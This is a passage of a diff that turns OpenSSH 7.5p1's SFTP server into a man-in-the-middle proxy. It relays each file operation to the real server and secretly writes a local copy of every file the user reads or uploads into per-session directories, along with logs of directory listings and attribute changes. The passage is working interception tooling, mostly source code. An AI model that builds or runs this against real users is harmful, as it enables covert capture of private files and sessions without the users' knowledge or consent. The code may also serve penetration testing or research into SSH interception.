- +
- +u_int mitm_do_hardlink(struct sftp_conn *conn, const char *oldpath, const char *newpath);
- +
- +u_int mitm_do_mkdir(struct sftp_conn *conn, const char *path, Attrib *a);
- +
- +u_char *mitm_do_open(struct sftp_conn *conn, char *remote_path, u_int32_t pflags, Attrib *a, size_t *handle_len, u_int *status);
- +
- +u_char *mitm_do_opendir(struct sftp_conn *conn, const char *path, size_t *handle_len, int *status);
- +
- +u_char *mitm_do_read(struct sftp_conn *conn, const u_char *handle, u_int handle_len, u_int64_t offset, u_int32_t read_len, size_t *ret_len, u_int *status);
- +
- +Stat *mitm_do_readdir(struct sftp_conn *conn, u_int32_t id, u_char *handle_str, size_t handle_len, u_int *count, int *status);
- +
- +int mitm_do_readlink(struct sftp_conn *conn, const char *path, u_int *status, char **filename, char **longname, Attrib *a);
- +
- +u_int mitm_do_rename(struct sftp_conn *conn, const char *oldpath, const char *newpath, int force_legacy);
- +
- +u_int mitm_do_rmdir(struct sftp_conn *conn, const char *path);
- +
- +u_int mitm_do_rm(struct sftp_conn *conn, const char *path);
- +
- +u_int mitm_do_setstat(struct sftp_conn *conn, const char *path, Attrib *a);
- +
- +int mitm_do_statvfs(struct sftp_conn *conn, const char *path, struct statvfs *st, u_int *status);
- +
- +u_int mitm_do_symlink(struct sftp_conn *conn, const char *oldpath, const char *newpath);
- +
- +u_int mitm_do_write(struct sftp_conn *conn, const u_char *handle, u_int handle_len, u_int64_t offset, u_char *buf, u_int buf_len);
- +
- #endif
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-common.h openssh-7.5p1-mitm/sftp-common.h
- --- openssh-7.5p1/sftp-common.h 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sftp-common.h 2018-06-12 17:44:46.345760658 -0400
- @@ -50,3 +50,12 @@
- char *ls_file(const char *, const struct stat *, int, int);
- const char *fx2txt(int);
- +
- +/* portable attributes, etc. */
- +typedef struct Stat Stat;
- +
- +struct Stat {
- + char *name;
- + char *long_name;
- + Attrib attrib;
- +};
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-glob.c openssh-7.5p1-mitm/sftp-glob.c
- --- openssh-7.5p1/sftp-glob.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sftp-glob.c 2018-06-12 17:44:46.345760658 -0400
- @@ -111,8 +111,9 @@
- fudge_lstat(const char *path, struct stat *st)
- {
- Attrib *a;
- + u_int status;
- - if (!(a = do_lstat(cur.conn, (char *)path, 1)))
- + if (!(a = do_lstat(cur.conn, (char *)path, 1, &status)))
- return(-1);
- attrib_to_stat(a, st);
- @@ -124,8 +125,9 @@
- fudge_stat(const char *path, struct stat *st)
- {
- Attrib *a;
- + u_int status;
- - if (!(a = do_stat(cur.conn, (char *)path, 1)))
- + if (!(a = do_stat(cur.conn, (char *)path, 1, &status)))
- return(-1);
- attrib_to_stat(a, st);
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp.h openssh-7.5p1-mitm/sftp.h
- --- openssh-7.5p1/sftp.h 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sftp.h 2018-06-12 17:44:46.345760658 -0400
- @@ -97,5 +97,5 @@
- struct passwd;
- -int sftp_server_main(int, char **, struct passwd *);
- +int sftp_server_main(int, char **, struct passwd *, char *, unsigned short, char *, char *, char *, char *);
- void sftp_server_cleanup_exit(int) __attribute__((noreturn));
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-server.c openssh-7.5p1-mitm/sftp-server.c
- --- openssh-7.5p1/sftp-server.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sftp-server.c 2018-06-12 17:44:46.345760658 -0400
- @@ -39,6 +39,7 @@
- #include <time.h>
- #include <unistd.h>
- #include <stdarg.h>
- +#include <sys/wait.h>
- #include "xmalloc.h"
- #include "sshbuf.h"
- @@ -50,6 +51,8 @@
- #include "sftp.h"
- #include "sftp-common.h"
- +#include "sftp-client.h"
- +#include "lol.h"
- /* Our verbosity */
- static LogLevel log_level = SYSLOG_LEVEL_ERROR;
- @@ -74,15 +77,41 @@
- /* Requests that are allowed/denied */
- static char *request_whitelist, *request_blacklist;
- -/* portable attributes, etc. */
- -typedef struct Stat Stat;
- -
- -struct Stat {
- - char *name;
- - char *long_name;
- - Attrib attrib;
- +pid_t sshpid = -1;
- +volatile sig_atomic_t interrupted = 0;
- +int showprogress = 0;
- +extern struct sftp_conn *client_conn;
- +int session_log_fd = -1; /* A descriptor to this session's log file. */
- +char *session_log_dir = NULL; /* The directory to store SFTP files in. */
- +
- +#define MITM_HANDLE_TYPE_FILE 0
- +#define MITM_HANDLE_TYPE_DIR 1
- +
- +/* This maps a remote server's handle to a local file descriptor. */
- +typedef struct MITMHandle MITMHandle;
- +struct MITMHandle {
- + int in_use; /* If 1, this slot is in use, otherwise it is unallocated. */
- + u_int type; /* One of the MITM_HANDLE_TYPE_ flags. */
- + char *handle_str; /* The file handle on the remote server. */
- + size_t handle_len; /* The number of bytes the above file handle is. */
- + int fd; /* The local file descriptor. */
- + u_int32_t pflags; /* The portable flags this file was opened with. */
- + char *original_path; /* The full path of the original file transferred. */
- + char *actual_path; /* The relative path that the file was saved to locally. */
- + char *file_listing; /* The file listing (if type == MITM_HANDLE_TYPE_DIR). */
- + size_t file_listing_size; /* The size of the file_listing buffer. */
- };
- +MITMHandle *mitm_handles = NULL; /* Our array of handles. */
- +u_int num_mitm_handles = 0; /* The current size of the mitm_handles array. */
- +
- +/* When mitm_handles runs out of free slots, it will grow by this many. */
- +#define MITM_HANDLES_NEW_BLOCK 16
- +
- +/* The block size that the MITMHandle.file_listing buffer grows by. */
- +#define MITM_HANDLES_FILE_LISTING_BLOCK 1024
- +
- +
- /* Packet handlers */
- static void process_open(u_int32_t id);
- static void process_close(u_int32_t id);
- @@ -109,6 +138,29 @@
- static void process_extended_fsync(u_int32_t id);
- static void process_extended(u_int32_t id);
- +struct sftp_conn *make_connection(char *host, unsigned short port, char *username, char *password_and_fingerprint_socket_name);
- +void mitm_init_log(char *log_filepath, char *log_dir);
- +void mitm_handle_close(const char *handle_str, size_t handle_len);
- +void mitm_handle_free(MITMHandle *mh);
- +void mitm_handle_init(MITMHandle *mh);
- +void mitm_handle_new(u_int type, char *original_name, u_int32_t pflags, const char *handle_str, size_t handle_len);
- +void mitm_handle_read_write(char *handle_str, size_t handle_len, u_int64_t offset, u_char *buf, size_t buf_len);
- +MITMHandle *mitm_handle_search(const char *handle_str, size_t handle_len);
- +void sftp_log(u_int status, const char *fmt, ...);
- +void sftp_log_no_filter(u_int status, const char *fmt, ...);
- +void _sftp_log(u_int status, u_int do_xss_filtering, char *buf, int buf_len);
- +void sftp_log_close(u_int status, char *handle_str, size_t handle_len);
- +void sftp_log_attrib(const char *func, u_int status, char *name, Attrib *a);
- +void sftp_log_handle_attrib(const char *func, u_int status, char *handle_str, size_t handle_len, Attrib *a);
- +void sftp_log_readdir(char *handle_str, size_t handle_len, char *listing);
- +void sftp_log_statvfs(u_int status, char *path, struct statvfs *st);
- +void sftp_log_fstatvfs(u_int status, char *handle_str, size_t handle_len, struct statvfs *st);
- +void sftp_log_fsync(u_int status, char *handle_str, size_t handle_len);
- +void xss_sanitize(char *buf, int buf_len);
- +
- +/* The error message for functions that search for file handles. */
- +#define CANT_FIND_HANDLE "MITM: %s: can't find handle!"
- +
- struct sftp_handler {
- const char *name; /* user-visible name for fine-grained perms */
- const char *ext_name; /* extended request name */
- @@ -179,6 +231,7 @@
- return 1;
- }
- +/*
- static int
- errno_to_portable(int unixerrno)
- {
- @@ -236,7 +289,7 @@
- flags |= O_EXCL;
- return flags;
- }
- -
- +*/
- static const char *
- string_from_portable(int pflags)
- {
- @@ -266,6 +319,7 @@
- return ret;
- }
- +
- /* handle handles */
- typedef struct Handle Handle;
- @@ -289,6 +343,195 @@
- u_int num_handles = 0;
- int first_unused_handle = -1;
- +
- +/* Frees a handle slot and re-initializes it. */
- +void mitm_handle_free(MITMHandle *mh) {
- + if (mh != NULL) {
- + free(mh->handle_str);
- + free(mh->original_path);
- + free(mh->actual_path);
- + free(mh->file_listing);
- + mitm_handle_init(mh);
- + }
- +}
- +
- +/* Initializes a handle slot. Use mitm_handle_free() on previously-occupied
- + * slots. */
- +void mitm_handle_init(MITMHandle *mh) {
- + if (mh != NULL) {
- + mh->in_use = 0;
- + mh->type = 0;
- + mh->handle_str = NULL;
- + mh->handle_len = 0;
- + mh->fd = -1;
- + mh->pflags = 0;
- + mh->original_path = NULL;
- + mh->actual_path = NULL;
- + mh->file_listing = NULL;
- + mh->file_listing_size = 0;
- + }
- +}
- +
- +/* Adds a new handle, given its type (MITM_HANDLE_TYPE_{FILE,DIR}), original
- + * path, open flags, and remote server handle. */
- +void mitm_handle_new(u_int type, char *original_path, u_int32_t pflags, const char *handle_str, size_t handle_len) {
- + int unused_handle = -1, actual_path_len = 0;;
- + u_int i = 0, num_tries = 0, r = 0;
- + char file_path[PATH_MAX];
- + char *file_prefix = NULL, *temp_name = NULL, *log_dir = NULL;
- +
- + /* On first invokation, the mitm_handles array is unallocated. */
- + if (mitm_handles == NULL) {
- + if ((mitm_handles = reallocarray(NULL, MITM_HANDLES_NEW_BLOCK, sizeof(MITMHandle))) == NULL)
- + fatal("Could not allocate array for MITMHandles.");
- +
- + num_mitm_handles = MITM_HANDLES_NEW_BLOCK;
- +
- + /* Initializes all the slots. */
- + for (i = 0; i < num_mitm_handles; i++)
- + mitm_handle_init(&mitm_handles[i]);
- +
- + /* Since we just allocated a new array, we know slot 0 is unoccupied. */
- + unused_handle = 0;
- + }
- +
- + /* Sequentially search for an unused slot in the array. */
- + for (i = 0; (i < num_mitm_handles) && (unused_handle == -1); i++) {
- + /* If we found one, save its slot index. */
- + if (mitm_handles[i].in_use == 0)
- + unused_handle = i;
- + }
- +
- + /* If, after searching the entire array, we haven't found an open slot, we
- + * must grow the array. */
- + if (unused_handle == -1) {
- + unused_handle = num_mitm_handles;
- +
- + /* Make the array bigger by one block size. */
- + num_mitm_handles += MITM_HANDLES_NEW_BLOCK;
- + if ((mitm_handles = reallocarray(mitm_handles, num_mitm_handles, sizeof(MITMHandle))) == NULL)
- + fatal("Could not allocate array for MITMHandles.");
- +
- + /* Initialize the slots we just expanded. */
- + for (; i < num_mitm_handles; i++)
- + mitm_handle_init(&mitm_handles[i]);
- + }
- +
- + /* Mark this slot as being in use. */
- + mitm_handles[unused_handle].in_use = 1;
- +
- + /* Set the file/directory flag. */
- + mitm_handles[unused_handle].type = type;
- +
- + /* Allocate a buffer for the remote server handle data, then copy it. */
- + if ((mitm_handles[unused_handle].handle_str = xmalloc(handle_len)) == NULL)
- + fatal("Could not allocate array for handle string.");
- + memcpy(mitm_handles[unused_handle].handle_str, handle_str, handle_len);
- +
- + /* Set the handle length. */
- + mitm_handles[unused_handle].handle_len = handle_len;
- +
- + /* Copy the original full path of the file being opened on the remote
- + * server, and do XSS filtering on it. */
- + mitm_handles[unused_handle].original_path = xstrdup(original_path);
- + xss_sanitize(mitm_handles[unused_handle].original_path, strlen(mitm_handles[unused_handle].original_path));
- +
- + /* Save the portable flags its being opened with. */
- + mitm_handles[unused_handle].pflags = pflags;
- +
- + /* If this is a file, find a unique local filename, and open a handle to
- + * it. */
- + if (type == MITM_HANDLE_TYPE_FILE) {
- +
- + /* Extract the filename of the path. */
- + temp_name = xstrdup(original_path);
- + file_prefix = basename(temp_name);
- +
- + /* Ensure that a relative path wasn't snuck in. */
- + if ((memmem(file_prefix, strlen(file_prefix), "..", 2) != NULL) || (memmem(file_prefix, strlen(file_prefix), "/", 1) != NULL))
- + file_prefix = "file";
- +
- + /* Construct a path to save the file to locally, such as
- + * "/home/ssh-mitm/sftp_session_0/lol.txt". */
- + snprintf(file_path, sizeof(file_path) - 1, "%s%s", session_log_dir, file_prefix);
- +
- + /* Find a unique local filename. */
- + while (mitm_handles[unused_handle].fd < 0) {
- + mitm_handles[unused_handle].fd = open(file_path, O_CREAT | O_EXCL | O_NOATIME | O_NOFOLLOW | O_WRONLY, S_IRUSR | S_IWUSR);
- +
- + num_tries++;
- +
- + /* If open() failed, append "_X" to the file path, where X is an
- + * incrementing integer. */
- + if (mitm_handles[unused_handle].fd < 0) {
- + snprintf(file_path, sizeof(file_path) - 1, "%s%s_%u", session_log_dir, file_prefix, num_tries);
- + }
- + }
- + free(temp_name); temp_name = NULL;
- +
- + /* Get the base name of our log directory. Because we're using GNU
- + * basename(), we need to cut off the trailing slash, otherwise we get back
- + * the empty string.
- + *
- + * "/home/ssh-mitm/sftp_session_0/" -> "sftp_session_0" */
- + temp_name = xstrdup(session_log_dir);
- + if (strlen(temp_name) > 0)
- + temp_name[strlen(temp_name) - 1] = '\0';
- + log_dir = basename(temp_name);
- +
- + /* Get the basename of the file we wrote.
- + * "/home/ssh-mitm/sftp_session_0/lol.txt" -> "lol.txt" */
- + file_prefix = basename(file_path);
- + actual_path_len = strlen(log_dir) + 1 + strlen(file_prefix) + 1;
- + mitm_handles[unused_handle].actual_path = calloc(actual_path_len, sizeof(char));
- +
- + /* Create the relative path, i.e.: "sftp_session_0/lol.txt". */
- + r = snprintf(mitm_handles[unused_handle].actual_path, actual_path_len, "%s/%s", log_dir, file_prefix);
- + xss_sanitize(mitm_handles[unused_handle].actual_path, r);
- +
- + free(temp_name); temp_name = NULL;
- + }
- +}
- +
- +/* Write discovered data to our local file. We do this for both remote server
- + * reads and writes. */
- +void mitm_handle_read_write(char *handle_str, size_t handle_len, u_int64_t offset, u_char *buf, size_t buf_len) {
- + MITMHandle *mh = NULL;
- +
- + if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL) {
- + lseek(mh->fd, offset, SEEK_SET);
- + write(mh->fd, buf, buf_len);
- + } else
- + logit(CANT_FIND_HANDLE, __func__);
- +}
- +
- +/* Close the local file descriptor associated with this remote server handle.
- + * Frees the slot this handle is in. */
- +void mitm_handle_close(const char *handle_str, size_t handle_len) {
- + MITMHandle *mh = NULL;
- +
- + if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL) {
- + close(mh->fd);
- + mitm_handle_free(mh);
- + } else
- + logit(CANT_FIND_HANDLE, __func__);
- +}
- +
- +/* Searches for an MITMHandle, given its remote server handle and length.
- + * Returns a pointer to it on success, or NULL if it could not be found. */
- +MITMHandle *mitm_handle_search(const char *handle_str, size_t handle_len) {
- + u_int i = 0;
- +
- + for (i = 0; i < num_mitm_handles; i++) {
- + if ((mitm_handles[i].in_use == 1) && (mitm_handles[i].handle_len == handle_len) && (memcmp(mitm_handles[i].handle_str, handle_str, handle_len) == 0)) {
- + return &mitm_handles[i];
- + }
- + }
- + return NULL;
- +}
- +
- +
- +/*
- static void handle_unused(int i)
- {
- handles[i].use = HANDLE_UNUSED;
- @@ -321,6 +564,7 @@
- return i;
- }
- +*/
- static int
- handle_is_ok(int i, int type)
- @@ -328,6 +572,7 @@
- return i >= 0 && (u_int)i < num_handles && handles[i].use == type;
- }
- +/*
- static int
- handle_to_string(int handle, u_char **stringp, int *hlenp)
- {
- @@ -338,6 +583,7 @@
- *hlenp = sizeof(int32_t);
- return 0;
- }
- +*/
- static int
- handle_from_string(const u_char *handle, u_int hlen)
- @@ -362,6 +608,7 @@
- return NULL;
- }
- +/*
- static DIR *
- handle_to_dir(int handle)
- {
- @@ -399,6 +646,7 @@
- if (handle_is_ok(handle, HANDLE_FILE) && bytes > 0)
- handles[handle].bytes_write += bytes;
- }
- +*/
- static u_int64_t
- handle_bytes_read(int handle)
- @@ -416,6 +664,7 @@
- return 0;
- }
- +/*
- static int
- handle_close(int handle)
- {
- @@ -434,6 +683,7 @@
- }
- return ret;
- }
- +*/
- static void
- handle_log_close(int handle, char *emsg)
- @@ -461,6 +711,7 @@
- handle_log_close(i, "forced");
- }
- +/*
- static int
- get_handle(struct sshbuf *queue, int *hp)
- {
- @@ -476,6 +727,28 @@
- free(handle);
- return 0;
- }
- +*/
- +
- +/* Handle return value must be free()'ed. */
- +int
- +get_handle_all(struct sshbuf *queue, u_char **handle_str, size_t *handle_len, int *handle_int)
- +{
- + int r;
- +
- + if ((r = sshbuf_get_string(queue, handle_str, handle_len)) != 0)
- + return r;
- +
- + if (*handle_len < 256)
- + *handle_int = handle_from_string(*handle_str, *handle_len);
- + else {
- + free(*handle_str); *handle_str = NULL;
- + *handle_len = 0;
- + *handle_int = -1;
- + return -1;
- + }
- +
- + return 0;
- +}
- /* send replies */
- @@ -555,6 +828,7 @@
- send_data_or_handle(SSH2_FXP_DATA, id, data, dlen);
- }
- +/*
- static void
- send_handle(u_int32_t id, int handle)
- {
- @@ -566,6 +840,15 @@
- send_data_or_handle(SSH2_FXP_HANDLE, id, string, hlen);
- free(string);
- }
- +*/
- +
- +static void
- +send_handle_str(u_int32_t id, u_char *handle, size_t handle_len)
- +{
- + debug("request %u: sent handle_str handle %d", id, atoi(handle));
- + send_data_or_handle(SSH2_FXP_HANDLE, id, handle, handle_len);
- +}
- +
- static void
- send_names(u_int32_t id, int count, const Stat *stats)
- @@ -678,14 +961,18 @@
- u_int32_t pflags;
- Attrib a;
- char *name;
- - int r, handle, fd, flags, mode, status = SSH2_FX_FAILURE;
- + u_char *handle_str = NULL;
- + size_t handle_len = 0;
- + u_int status = 0;
- + int r;
- if ((r = sshbuf_get_cstring(iqueue, &name, NULL)) != 0 ||
- (r = sshbuf_get_u32(iqueue, &pflags)) != 0 || /* portable flags */
- (r = decode_attrib(iqueue, &a)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- - debug3("request %u: open flags %d", id, pflags);
- + debug3("request %u: open \"%s\" flags %d", id, name, pflags);
- + /*
- flags = flags_from_portable(pflags);
- mode = (a.flags & SSH2_FILEXFER_ATTR_PERMISSIONS) ? a.perm : 0666;
- logit("open \"%s\" flags %s mode 0%o",
- @@ -711,12 +998,25 @@
- }
- if (status != SSH2_FX_OK)
- send_status(id, status);
- + */
- + handle_str = mitm_do_open(client_conn, name, pflags, &a, &handle_len, &status);
- + if (handle_str != NULL) {
- + debug3("request %u: open \"%s\" returning handle: %d", id, name, handle_from_string(handle_str, handle_len));
- + send_handle_str(id, handle_str, handle_len);
- + mitm_handle_new(MITM_HANDLE_TYPE_FILE, name, pflags, handle_str, handle_len);
- + } else {
- + send_status(id, status);
- + sftp_log(status, "open \"%s\" (Flags: %s)", name, string_from_portable(pflags));
- + }
- +
- + free(handle_str); handle_str = NULL;
- free(name);
- }
- static void
- process_close(u_int32_t id)
- {
- + /*
- int r, handle, ret, status = SSH2_FX_FAILURE;
- if ((r = get_handle(iqueue, &handle)) != 0)
- @@ -727,11 +1027,28 @@
- ret = handle_close(handle);
- status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
- send_status(id, status);
- + */
- + int r;
- + u_char *handle_str = NULL;
- + size_t handle_len = 0;
- + int handle_int = -1;
- + int status;
- +
- + if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + debug3("request %u: close handle %u", id, handle_int);
- + status = mitm_do_close(client_conn, handle_str, handle_len);
- + send_status(id, status);
- +
- + sftp_log_close(status, handle_str, handle_len);
- + mitm_handle_close(handle_str, handle_len);
- + free(handle_str); handle_str = NULL;
- }
- static void
- process_read(u_int32_t id)
- {
- + /*
- u_char buf[64*1024];
- u_int32_t len;
- int r, handle, fd, ret, status = SSH2_FX_FAILURE;
- @@ -768,11 +1085,39 @@
- }
- if (status != SSH2_FX_OK)
- send_status(id, status);
- + */
- + int r;
- + u_char *handle_str = NULL;
- + size_t handle_len = 0;
- + int handle_int = -1;
- + u_int32_t read_len;
- + u_int64_t offset;
- + u_int status = 0;
- + u_char *buf = NULL;
- + size_t buf_len = 0;
- +
- + if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0 ||
- + (r = sshbuf_get_u64(iqueue, &offset)) != 0 ||
- + (r = sshbuf_get_u32(iqueue, &read_len)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + debug3("request %u: read (handle %d) off %llu len %d",
- + id, handle_int, (unsigned long long)offset, read_len);
- + buf = mitm_do_read(client_conn, handle_str, handle_len, offset, read_len, &buf_len, &status);
- + if (buf != NULL) {
- + send_data(id, buf, buf_len);
- + mitm_handle_read_write(handle_str, handle_len, offset, buf, buf_len);
- + } else
- + send_status(id, status);
- +
- + free(buf); buf = NULL;
- + free(handle_str); handle_str = NULL;
- }
- static void
- process_write(u_int32_t id)
- {
- + /*
- u_int64_t off;
- size_t len;
- int r, handle, fd, ret, status;
- @@ -795,7 +1140,9 @@
- status = errno_to_portable(errno);
- error("process_write: seek failed");
- } else {
- + */
- /* XXX ATOMICIO ? */
- + /*
- ret = write(fd, data, len);
- if (ret < 0) {
- error("process_write: write failed");
- @@ -811,21 +1158,44 @@
- }
- send_status(id, status);
- free(data);
- + */
- + int r;
- + u_char *handle_str = NULL;
- + size_t handle_len = 0;
- + int handle_int = -1;
- + u_int64_t offset;
- + u_int status;
- + u_char *buf = NULL;
- + size_t buf_len = 0;
- +
- + if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0 ||
- + (r = sshbuf_get_u64(iqueue, &offset)) != 0 ||
- + (r = sshbuf_get_string(iqueue, &buf, &buf_len)) != 0)
- +
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + debug3("request %u: write (handle %d) off %llu len %zu",
- + id, handle_int, (unsigned long long)offset, buf_len);
- + status = mitm_do_write(client_conn, handle_str, handle_len, offset, buf, buf_len);
- + mitm_handle_read_write(handle_str, handle_len, offset, buf, buf_len);
- + send_status(id, status);
- +
- + free(handle_str); handle_str = NULL;
- + free(buf); buf = NULL;
- }
- static void
- -process_do_stat(u_int32_t id, int do_lstat)
- +process_do_stat(u_int32_t id, int do_lstat_arg)
- {
- - Attrib a;
- - struct stat st;
- char *name;
- int r, status = SSH2_FX_FAILURE;
- + Attrib *b;
- if ((r = sshbuf_get_cstring(iqueue, &name, NULL)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- - debug3("request %u: %sstat", id, do_lstat ? "l" : "");
- - verbose("%sstat name \"%s\"", do_lstat ? "l" : "", name);
- + debug3("request %u: %sstat", id, do_lstat_arg ? "l" : "");
- + verbose("%sstat name \"%s\"", do_lstat_arg ? "l" : "", name);
- + /*
- r = do_lstat ? lstat(name, &st) : stat(name, &st);
- if (r < 0) {
- status = errno_to_portable(errno);
- @@ -836,6 +1206,18 @@
- }
- if (status != SSH2_FX_OK)
- send_status(id, status);
- + */
- + if (do_lstat_arg)
- + b = do_lstat(client_conn, name, 0, &status);
- + else
- + b = do_stat(client_conn, name, 0, &status);
- +
- + if (b != NULL)
- + send_attrib(id, b);
- + else
- + send_status(id, status);
- +
- + sftp_log_attrib(do_lstat_arg ? "lstat" : "stat", status, name, b);
- free(name);
- }
- @@ -854,10 +1236,14 @@
- static void
- process_fstat(u_int32_t id)
- {
- - Attrib a;
- - struct stat st;
- - int fd, r, handle, status = SSH2_FX_FAILURE;
- + Attrib *a;
- + int status = SSH2_FX_FAILURE;
- + u_char *handle_str = NULL;
- + size_t handle_len = 0;
- + int handle_int = -1;
- + int r;
- + /*
- if ((r = get_handle(iqueue, &handle)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- debug("request %u: fstat \"%s\" (handle %u)",
- @@ -875,8 +1261,22 @@
- }
- if (status != SSH2_FX_OK)
- send_status(id, status);
- + */
- + if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + debug3("request %u: fstat (handle %u)", id, handle_int);
- + a = mitm_do_fstat(client_conn, handle_str, handle_len, 1, &status);
- + if (a != NULL)
- + send_attrib(id, a);
- + else
- + send_status(id, status);
- +
- + sftp_log_handle_attrib("fstat", status, handle_str, handle_len, a);
- + free(handle_str); handle_str = NULL;
- }
- +/*
- static struct timeval *
- attrib_to_tv(const Attrib *a)
- {
- @@ -888,6 +1288,7 @@
- tv[1].tv_usec = 0;
- return tv;
- }
- +*/
- static void
- process_setstat(u_int32_t id)
- @@ -900,7 +1301,8 @@
- (r = decode_attrib(iqueue, &a)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- - debug("request %u: setstat name \"%s\"", id, name);
- + debug3("request %u: setstat name \"%s\"", id, name);
- + /*
- if (a.flags & SSH2_FILEXFER_ATTR_SIZE) {
- logit("set \"%s\" size %llu",
- name, (unsigned long long)a.size);
- @@ -932,7 +1334,11 @@
- if (r == -1)
- status = errno_to_portable(errno);
- }
- + */
- + status = mitm_do_setstat(client_conn, name, &a);
- send_status(id, status);
- +
- + sftp_log_attrib("setstat", status, name, &a);
- free(name);
- }
- @@ -940,9 +1346,13 @@
- process_fsetstat(u_int32_t id)
- {
- Attrib a;
- - int handle, fd, r;
- int status = SSH2_FX_OK;
- + u_char *handle_str = NULL;
- + size_t handle_len = 0;
- + int handle_int = -1;
- + int r;
- + /*
- if ((r = get_handle(iqueue, &handle)) != 0 ||
- (r = decode_attrib(iqueue, &a)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- @@ -998,12 +1408,23 @@
- status = errno_to_portable(errno);
- }
- }
- + */
- + if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0 ||
- + (r = decode_attrib(iqueue, &a)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + debug3("request %u: fsetstat handle %d", id, handle_int);
- + status = mitm_do_fsetstat(client_conn, handle_str, handle_len, &a);
- send_status(id, status);
- +
- + sftp_log_handle_attrib("fsetstat", status, handle_str, handle_len, &a);
- + free(handle_str); handle_str = NULL;
- }
- static void
- process_opendir(u_int32_t id)
- {
- + /*
- DIR *dirp = NULL;
- char *path;
- int r, handle, status = SSH2_FX_FAILURE;
- @@ -1028,12 +1449,31 @@
- }
- if (status != SSH2_FX_OK)
- send_status(id, status);
- + */
- + int r, status = SSH2_FX_FAILURE;
- + char *path;
- + if ((r = sshbuf_get_cstring(iqueue, &path, NULL)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + debug("request %u: opendir \"%s\"", id, path);
- +
- + size_t handle_len = 0;
- + u_char *handle_str = mitm_do_opendir(client_conn, path, &handle_len, &status);
- + if (handle_str != NULL) {
- + debug("request %u: opendir \"%s\" returning handle: %u", id, path, handle_from_string(handle_str, handle_len));
- + send_handle_str(id, handle_str, handle_len);
- + mitm_handle_new(MITM_HANDLE_TYPE_DIR, path, 0, handle_str, handle_len);
- + } else
- + send_status(id, status);
- +
- + free(handle_str); handle_str = NULL;
- free(path);
- }
- static void
- process_readdir(u_int32_t id)
- {
- + /*
- DIR *dirp;
- struct dirent *dp;
- char *path;
- @@ -1060,7 +1500,9 @@
- nstats *= 2;
- stats = xreallocarray(stats, nstats, sizeof(Stat));
- }
- + */
- /* XXX OVERFLOW ? */
- + /*
- snprintf(pathname, sizeof pathname, "%s%s%s", path,
- strcmp(path, "/") ? "/" : "", dp->d_name);
- if (lstat(pathname, &st) < 0)
- @@ -1069,8 +1511,10 @@
- stats[count].name = xstrdup(dp->d_name);
- stats[count].long_name = ls_file(dp->d_name, &st, 0, 0);
- count++;
- + */
- /* send up to 100 entries in one message */
- /* XXX check packet size instead */
- + /*
- if (count == 100)
- break;
- }
- @@ -1085,6 +1529,32 @@
- }
- free(stats);
- }
- + */
- + u_char *handle_str = NULL;
- + size_t handle_len = 0;
- + int handle_int = -1;
- + int r;
- + int status = 0;
- + u_int count = 0, i = 0;
- + Stat *stats;
- +
- + if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
- + fatal("%s: buffer error", __func__);
- +
- + debug("request %u: readdir(handle %d)", id, handle_int);
- + stats = mitm_do_readdir(client_conn, id, handle_str, handle_len, &count, &status);
- + if (stats == NULL)
- + send_status(id, status);
- + else {
- + send_names(id, count, stats);
- + for (i = 0; i < count; i++) {
- + sftp_log_readdir(handle_str, handle_len, stats[i].long_name);
- + free(stats[i].name); stats[i].name = NULL;
- + free(stats[i].long_name); stats[i].long_name = NULL;
- + }
- + free(stats); stats = NULL;
- + }
- + free(handle_str); handle_str = NULL;
- }
- static void
- @@ -1098,9 +1568,15 @@
- debug3("request %u: remove", id);
- logit("remove name \"%s\"", name);
- + /*
- r = unlink(name);
- status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
- send_status(id, status);
- + */
- + status = mitm_do_rm(client_conn, name);
- + send_status(id, status);
- +
- + sftp_log(status, "rm \"%s\"", name);
- free(name);
- }
- @@ -1119,9 +1595,15 @@
- a.perm & 07777 : 0777;
- debug3("request %u: mkdir", id);
- logit("mkdir name \"%s\" mode 0%o", name, mode);
- + /*
- r = mkdir(name, mode);
- status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
- send_status(id, status);
- + */
- + status = mitm_do_mkdir(client_conn, name, &a);
- + send_status(id, status);
- +
- + sftp_log(status, "mkdir \"%s\" (mode: 0%o)", name, mode);
- free(name);
- }
